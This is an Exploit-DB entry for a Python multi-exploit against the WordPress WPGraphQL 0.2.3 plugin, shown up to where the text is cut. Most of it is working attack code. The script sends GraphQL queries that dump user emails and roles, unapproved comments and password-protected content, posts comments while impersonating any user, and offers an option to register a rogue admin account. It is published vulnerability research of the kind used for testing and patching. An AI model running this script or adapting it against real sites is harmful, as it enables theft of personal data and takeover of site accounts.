Exploit-DB #46886
Description: WordPress Plugin WPGraphQL 0.2.3 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2019-05-21
Author: Simone Quatrini

Exploit:
#!/usr/bin/env python
#
# Author: Simone Quatrini of Pen Test Partners
# CVEs: 2019-9879, 2019-9880, 2019-9881
# Tested on Wordpress 5.1.1 and wp-graphql 0.2.3
# https://www.pentestpartners.com/security-blog/pwning-wordpress-graphql/

import argparse
import requests
import base64
import json
import sys

parser = argparse.ArgumentParser(description="wp-graphql <= 0.2.3 multi-exploit")

parser.add_argument('--url', action='store', dest='url', required=True, help="wp-graphql endpoint. e.g.: http://localhost/wordpress/graphql")

parser.add_argument('--post-comment', nargs=3, action='store', metavar=('postid','userid','commenttext'), dest='comment', required=False, help="Post comment impersonating a specific user. e.g.: --post-comment 2 1 Test")

parser.add_argument('--register-admin', nargs=3, action='store', metavar=('email','password','username'), dest='register', required=False, help="Register a new admin user. e.g.: --register-admin test@example.com MySecretP@ssword hax0r")

parser.add_argument('--verbose', '-v', action='store_true', required=False, help="Shows the full response")

args = parser.parse_args()


def show_plugins(url, headers, verbose):
	payload = {"query":"{plugins{edges{node{name,description,version}}}}"}
	response = requests.post(url, data=json.dumps(payload), headers=headers)
	if response.status_code == 200 and 'node' in response.text:
		print "[+] Installed plugins:"
		parsed = json.loads(response.text)
		for i in parsed['data']['plugins']['edges']:
		    print i['node']['name']+" "+i['node']['version']
	else:
		print "\n[-] Error code fetching plugins: ", response.status_code
	
	if verbose:
		print(response.text)

def show_themes(url, headers, verbose):
	payload = {"query":"{themes{edges{node{name,description,version}}}}"}
	response = requests.post(url, data=json.dumps(payload), headers=headers)
	if response.status_code == 200 and 'node' in response.text:
		print "\n[+] Installed themes:"
		parsed = json.loads(response.text)
		for i in parsed['data']['themes']['edges']:
		    print i['node']['name']+" "+str(i['node']['version'])
	else:
		print "\n[-] Error code fetching themes: ", response.status_code
	
	if verbose:
		print(response.text)

def show_medias(url, headers, verbose):
	payload = {"query":"{mediaItems{edges{node{id,mediaDetails{file,sizes{file,height,mimeType,name,sourceUrl,width}},uri}}}}"}
	response = requests.post(url, data=json.dumps(payload), headers=headers)
	if response.status_code == 200 and 'node' in response.text:
		print "\n[+] Media items:"
		parsed = json.loads(response.text)
		for i in parsed['data']['mediaItems']['edges']:
		    print "/wp-content/uploads/"+i['node']['mediaDetails']['file']
	else:
		print "\n[-] Error code fetching media items: ", response.status_code
	
	if verbose:
		print(response.text)

def show_users(url, headers, verbose):
	payload = {"query":"{users{edges{node{firstName,lastName,nickname,roles,email,userId,username}}}}"}
	response = requests.post(url, data=json.dumps(payload), headers=headers)
	if response.status_code == 200 and 'node' in response.text:
		print "\n[+] User list:"
		parsed = json.loads(response.text)
		for i in parsed['data']['users']['edges']:
		    print "ID: "+str(i['node']['userId'])+" - Username: "+i['node']['username']+" - Email: "+i['node']['email']+" - Role: "+i['node']['roles'][0]
	else:
		print "\n[-] Error code fetching user list: ", response.status_code
	
	if verbose:
		print(response.text)

def show_comments(url, headers, verbose):
	payload = {"query":"{comments(where:{includeUnapproved:[]}){edges{node{id,commentId,approved,content(format:RAW)}}}}"}
	response = requests.post(url, data=json.dumps(payload), headers=headers)
	if response.status_code == 200 and 'node' in response.text:
		print "\n[+] Comments list:"
		parsed = json.loads(response.text)
		for i in parsed['data']['comments']['edges']:
		    print "ID: "+str(i['node']['commentId'])+" - Approved: "+str(i['node']['approved'])+" - Text: "+str(i['node']['content'])
	else:
		print "\n[-] Error code fetching comments list: ", response.status_code
	
	if verbose:
		print(response.text)

def show_password_protected(url, headers, verbose):
	payload = {"query":"{posts(where:{hasPassword:true}){edges{node{title,id,content(format:RAW)}}}}"}
	response = requests.post(url, data=json.dumps(payload), headers=headers)
	if response.status_code == 200 and 'node' in response.text:
		print "\n[+] Found the following password protected post(s):"
		parsed = json.loads(response.text)
		for i in parsed['data']['posts']['edges']:
		    print "ID: "+base64.b64decode(str(i['node']['id']))+" - Title: "+str(i['node']['title'])+" - Content: "+str(i['node']['content'])
	else:
		print "\n[-] No password protected post found"

	if verbose:
		print(response.text)

	payload = {"query":"{pages(where:{hasPassword:true}){edges{node{id,link,title,uri,content(format:RAW)}}}}"}
	response = requests.post(url, data=json.dumps(payload), headers=headers)
	if response.status_code == 200 and 'node' in response.text:
		print "\n[+] Found the following password protected page(s):"
		parsed = json.loads(response.text)
		for i in parsed['data']['pages']['edges']:
		    print "ID: "+base64.b64decode(str(i['node']['id']))+" - Title: "+str(i['node']['title'])+" - Content: "+str(i['node']['content'])
	else:
		print "\n[-] No password protected page found"

	if verbose:
		print(response.text)


def post_comment(url, headers, postID, userID, comment, verbose):
	payload = {"query":"mutation{createComment(input:{postId:"+postID+",userId:"+userID+",content:\""+comment+"\",clientMutationId:\"UWHATM8\",}){clientMutationId}}"}
	response = requests.post(url, data=json.dumps(payload), headers=headers)
	if response.status_code == 200 and 'UWHATM8' in response.text:
		print "[+] Comment posted on article ID "+postID+""
	else:
		print "\n[-] Error posting the comment. Check